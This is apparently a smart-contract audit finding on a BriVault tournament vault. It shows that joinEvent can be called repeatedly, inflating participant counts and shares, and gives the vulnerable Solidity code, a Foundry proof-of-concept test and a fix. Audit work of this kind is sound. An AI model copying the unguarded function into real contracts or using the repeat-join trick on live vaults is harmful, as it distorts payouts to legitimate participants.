Root + Impact
Description
-
The BriVault contract requires users to deposit assets via deposit to become eligible for tournament participation, then call joinEvent once before eventStartDate to select a country, which registers their shares to totalParticipantShares and numberOfParticipants for accurate reward distribution among winners via withdraw.
-
However, joinEvent lacks a check to prevent multiple calls by the same user, allowing repeated invocations that inflate totalParticipantShares and numberOfParticipants without adding new participants, leading to incorrect calculations and reduced rewards for legitimate winners during distribution.
@> function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
Risk
Likelihood:
Impact:
-
Winning pool calculations are skewed, resulting in under-distribution of rewards and potential losses for legitimate participants.
-
Denial of service to the protocol's core functionality, eroding user trust and enabling griefing attacks that disrupt tournament fairness.
Proof of Concept
Add the following code snippet to the briVault.t.sol test file.This test verifies that user can join multiple times by calling ERC4626::joinEvent disrupting winning pool calculation.
function test_userCanJoinMoreThanOnceCausesDOS() public {
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
vm.startPrank(user1);
mockToken.approve(address(briVault), 5 ether);
uint256 user1Shares = briVault.deposit(5 ether, user1);
for (uint256 i = 0; i < 3; i++) {
briVault.joinEvent(10);
}
ERC4626(briVault).withdraw(ERC4626(briVault).balanceOf(user1), user1, user1);
uint256 numberOfParticipants = briVault.numberOfParticipants();
uint256 totalParticipantShares = briVault.totalParticipantShares();
vm.stopPrank();
vm.startPrank(owner);
vm.warp(eventEndDate + 1);
briVault.setWinner(10);
vm.stopPrank();
uint256 balanceBeforeUser1 = mockToken.balanceOf(user1);
uint256 totalAssets = briVault.totalAssets();
console.log("balanceBeforeUser1", balanceBeforeUser1);
vm.prank(user1);
briVault.withdraw();
uint256 totalAssetAfterWithdrawl = briVault.totalAssets();
console.log("total assets left in the vault: ", totalAssetAfterWithdrawl);
uint256 curentBalance = mockToken.balanceOf(user1);
uint256 expectedBalance = balanceBeforeUser1 + totalAssets;
assertEq(curentBalance, expectedBalance, "Must be equal");
assertEq(totalAssetAfterWithdrawl, 0, "All funds withdrawn as there is only one participant");
}
Recommended Mitigation
Potential mitigation is to add a user already joined check and custom error that would prevent totalParticipantShares state variable change.
...
+ error alreadyJoined();
...
function joinEvent(uint256 countryId) public {
+ if (bytes(userToCountry[msg.sender]).length > 0) {
+ revert alreadyJoined();
+ }
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}